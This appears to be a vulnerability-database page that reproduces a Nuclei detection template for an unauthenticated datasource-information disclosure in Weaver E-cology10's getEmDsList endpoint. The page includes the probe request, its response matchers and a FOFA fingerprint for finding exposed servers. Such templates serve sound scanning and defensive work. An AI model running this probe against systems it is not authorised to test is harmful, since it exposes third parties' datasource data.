weaver-getemdslist-disclosure: Weaver E-cology getEmDsList Sensitive Information Disclosure

2026-07-09 Weaver E-cology PoC Public

Description

Weaver E-cology10 contains a sensitive information disclosure vulnerability in the `/papi/em/transform/getEmDsList` endpoint. An unauthenticated attacker can access the endpoint to retrieve datasource-related information such as `dsKey`, `dsValue`, and `deleteType`.

PoC

id: weaver-getemdslist-disclosure

info:
  name: Weaver E-cology getEmDsList Sensitive Information Disclosure
  author: DhiyaneshDk
  severity: high
  description: |
    Weaver E-cology10 contains a sensitive information disclosure vulnerability in the `/papi/em/transform/getEmDsList` endpoint. An unauthenticated attacker can access the endpoint to retrieve datasource-related information such as `dsKey`, `dsValue`, and `deleteType`.
  reference:
    - https://mp.weixin.qq.com/s/tZvq6vlbDO1_eQHvX-bQbQ
  metadata:
    verified: true
    vendor: weaver
    product: ecology
    fofa-query: icon_hash="-1619753057"
  tags: weaver,ecology,ecology10,disclosure,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/papi/em/transform/getEmDsList"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"dsKey":'
          - '"deleteType":'
          - '"dsValue":'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100fb7de600b0c78af2f87de21e989e70e88057d364b3c54bf2973b72dac2338445022100cd46f50d6610e3aeecf18e8c3c2a0785e44e6a5013ea70d4a7eddebe0c939a6d:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/weaver/weaver-getemdslist-disclosure.yaml

References

Related Vulnerabilities